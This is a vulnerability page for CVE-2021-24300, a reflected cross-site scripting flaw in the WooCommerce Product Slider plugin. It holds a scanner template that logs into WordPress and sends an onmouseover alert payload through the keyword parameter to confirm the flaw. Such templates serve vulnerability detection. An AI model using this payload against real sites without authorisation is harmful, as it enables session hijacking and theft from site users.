CVE-2021-24300: WordPress WooCommerce <1.13.22 - Cross-Site Scripting

2025-08-01 WordPress WooCommerce PoC Public

Description

WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter.

PoC

id: CVE-2021-24300

info:
  name: WordPress WooCommerce <1.13.22 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress WooCommerce plugin to version 1.13.22 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5fbbc7ad-3f1a-48a1-b2eb-e57f153eb837
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24300
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24300
    cwe-id: CWE-79
    epss-score: 0.10587
    epss-percentile: 0.95545
    cpe: cpe:2.3:a:pickplugins:product_slider_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: pickplugins
    product: product_slider_for_woocommerce
    framework: wordpress
  tags: cve2021,cve,xss,wp,wordpress,wp-plugin,authenticated,wpscan,pickplugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="\"onmouseover=alert(document.domain);//">'
          - "PickPlugins Product Slider"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b0d164f34a6826e50d4ff316de058dce67590cad768899f382afa1298289e1e502200a6cf2e57309cf53ae316d8d0bb2852b10193c5cb7157a28232ec5a7427c8c21:922c64590222798bb761d5b6d8e72950

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